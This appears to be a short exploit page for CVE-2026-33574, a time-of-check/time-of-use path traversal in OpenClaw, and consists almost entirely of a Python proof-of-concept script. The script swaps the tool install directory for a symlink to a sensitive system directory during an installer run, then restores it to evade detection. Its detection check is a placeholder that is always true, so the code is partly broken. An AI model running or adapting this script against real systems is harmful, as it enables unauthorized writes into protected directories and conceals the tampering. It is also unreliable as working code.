CVE-2026-33574 OpenClaw路径遍历漏洞

#!/usr/bin/env python3 # Proof of Concept for CVE-2026-33574 (TOCTOU Path Traversal) # This script simulates the race condition by monitoring and swapping the directory. import os import time import sys MALICIOUS_TARGET = "/etc/sensitive_dir" ORIGINAL_DIR = "/var/tmp/openclaw/tools" print(f"[*] Starting PoC for CVE-2026-33574") print(f"[*] Targeting path: {ORIGINAL_DIR}") try: # Ensure the original directory exists if not os.path.exists(ORIGINAL_DIR): os.makedirs(ORIGINAL_DIR) # Monitor for the installer process (simulated) # In a real scenario, one might use inotify or ptrace while True: # Simulate the 'Check' phase passing if "installer_running": # Placeholder for actual detection logic print("[!] Installer detected, attempting race condition...") # Step 1: Rename original directory (simulating the 'Check' validation) if os.path.exists(ORIGINAL_DIR): os.rename(ORIGINAL_DIR, ORIGINAL_DIR + ".bak") # Step 2: Create a symlink to the malicious target (Rebinding) os.symlink(MALICIOUS_TARGET, ORIGINAL_DIR) print(f"[+] Path rebound to {MALICIOUS_TARGET}") # Step 3: Wait for the 'Use' phase (Write operation) time.sleep(0.1) # Step 4: Restore original state to avoid detection/crashes os.remove(ORIGINAL_DIR) os.rename(ORIGINAL_DIR + ".bak", ORIGINAL_DIR) print("[+] Path restored") break except Exception as e: print(f"[-] Error: {e}")